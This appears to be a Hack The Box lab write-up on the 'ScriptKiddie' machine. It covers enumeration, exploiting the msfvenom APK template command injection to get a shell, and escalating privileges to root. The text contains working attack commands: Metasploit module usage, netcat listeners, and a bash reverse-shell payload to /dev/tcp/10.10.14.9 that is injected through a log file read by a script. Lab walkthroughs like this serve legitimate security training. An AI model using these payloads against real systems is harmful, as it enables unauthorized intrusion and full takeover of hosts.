

# Write up

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## Nmap

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```
nmap -sC -sV -p- 10.10.10.226 -T4 -oA full_scan -v
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256  b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256  8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp  open  http      Werkzeug httpd 0.16.1 (Python 3.8.5)
|_ http-title: k1d'5 h4ck3r t00l5
| http-methods:
|_ Supported Methods: OPTIONS POST HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## Web enumeration

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There is a Werkzeug running on port 5000.

The screenshot shows a web application interface with a dark background and green text. At the top, it displays the string 'k1d'5 h4ck3r t00l5'. Below this, there are three main sections:

- nmap**: A section titled 'scan top 100 ports on an ip'. It contains an input field for 'ip:' and a 'scan' button.
- payloads**: A section titled 'venom it up - gen rev tcp meterpreter bins'. It contains a dropdown menu for 'os:' set to 'windows', an input field for 'lhost:', a 'template file (optional):' section with a 'Browse...' button and the text 'No file selected.', and a 'generate' button.
- sploits**: A section titled 'searchsploit FTW'. It contains an input field for 'search:'.

We have a few things to play around with but searchsploit field is not vulnerable to command injection. The nmap field is not vulnerable either.

```
(root@kali) - [~/htb/Boxes/scriptkiddie]
# searchsploit Werkzeug
```

Exploit Title	Path
Pallets Werkzeug 0.15.4 - Path Traversal	python/webapps/50101.py
Werkzeug - 'Debug Shell' Command Execution	multiple/remote/43905.py
Werkzeug - Debug Shell Command Execution (Metasploit)	python/remote/37814.rb

```
Shellcodes: No Results
```

We get a few results from searchsploit but the "debug shell" is not enabled so we cannot exploit it.

This leaves us with Msfvenom to playwith. It is interesting that Android payloads are available.

- payload: android/meterpreter/reverse\_tcp
- LHOST: 10.10.14.9
- LPORT: 4444
- template: None
- download: 02c10ec17e87.apk
- expires: 5 mins

After googling around, we find an interesting vulnerability with msfvenom.

[https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/unix/fileformat/metasploit\\_msfvenom\\_apk\\_template\\_cmd\\_injection](https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection)

Msfvenom mishandles the Android payload template and results in command injection.

## Exploitation

```
use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
```

Create the payload and then set up a netcat listener.

Upload it and the site will give an error but we are returned with a shell.

```
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set lhost 10.10.14.9
lhost => 10.10.14.9
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set lport 9001
lport => 9001
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run

[+] msf.apk stored at /root/.msf4/local/msf.apk
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > 
```

```
(root@kali) - [~/htb/Boxes/scriptkiddie]
# nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.226] 34606
id
uid=1000(kid) gid=1000(kid) groups=1000(kid)
```

# Privileged Escalation

We find the pwn user on the system

```
kid:x:1000:1000:kid:/home/kid:/bin/bash
pwn:x:1001:1001::/home/pwn:/bin/bash
```

Investigating the scanlosers.sh script.

```
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
```

Running pspy64 to see what the script is doing

```
CMD: UID=1001 PID=70578 | /bin/bash /home/pwn/scanlosers.sh
CMD: UID=1001 PID=70577 | nmap --top-ports 10 -oN recon/10.10.14.9.nmap 10.10.14.9
CMD: UID=1001 PID=70574 | sh -c nmap --top-ports 10 -oN recon/10.10.14.9.nmap 10.10.14.9 2>&1
```

It looks like when we enter bad characters, the script runs and nmap scan against our machine.

Examining the script further, we see that it writes to the hackers log file when we enter bad characters into the searschploit field

```
kid@scriptkiddie:~/logs$ tail -f hackers
tail -f hackers
[2022-03-25 21:11:09.100817] 10.10.14.9
tail: hackers: file truncated
```

It looks like if we can write a reverse shell into the hackers log file, we can gain RCE as the pwn user.

We have to carefully craft the reverse shell since it is being cut. It also has to terminate the reset of the script from running.

I used this payload to trigger the RCE

```
echo " ";/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.9/8001 0>&1' #" > hackers
```

```
(root@kali)-[~]  
# nc -lvnp 8001  
listening on [any] 8001 ...  
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.226] 43392  
bash: cannot set terminal process group (864): Inappropriate ioctl for device  
bash: no job control in this shell  
pwn@scriptkiddie:~$
```

The pwn user can run sudo on msfconsole

```
User pwn may run the following commands on scriptkiddie:  
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole  
pwn@scriptkiddie:~/recon$ sudo /opt/metasploit-framework-6.0.9/msfconsole  
sudo /opt/metasploit-framework-6.0.9/msfconsole
```

All we need to do from here is run msfconsole and then run bash to gain an interactive root shell.

```
msf6 > bash  
stty: 'standard input': Inappropriate ioctl for device  
[*] exec: bash  
  
id  
uid=0(root) gid=0(root) groups=0(root)
```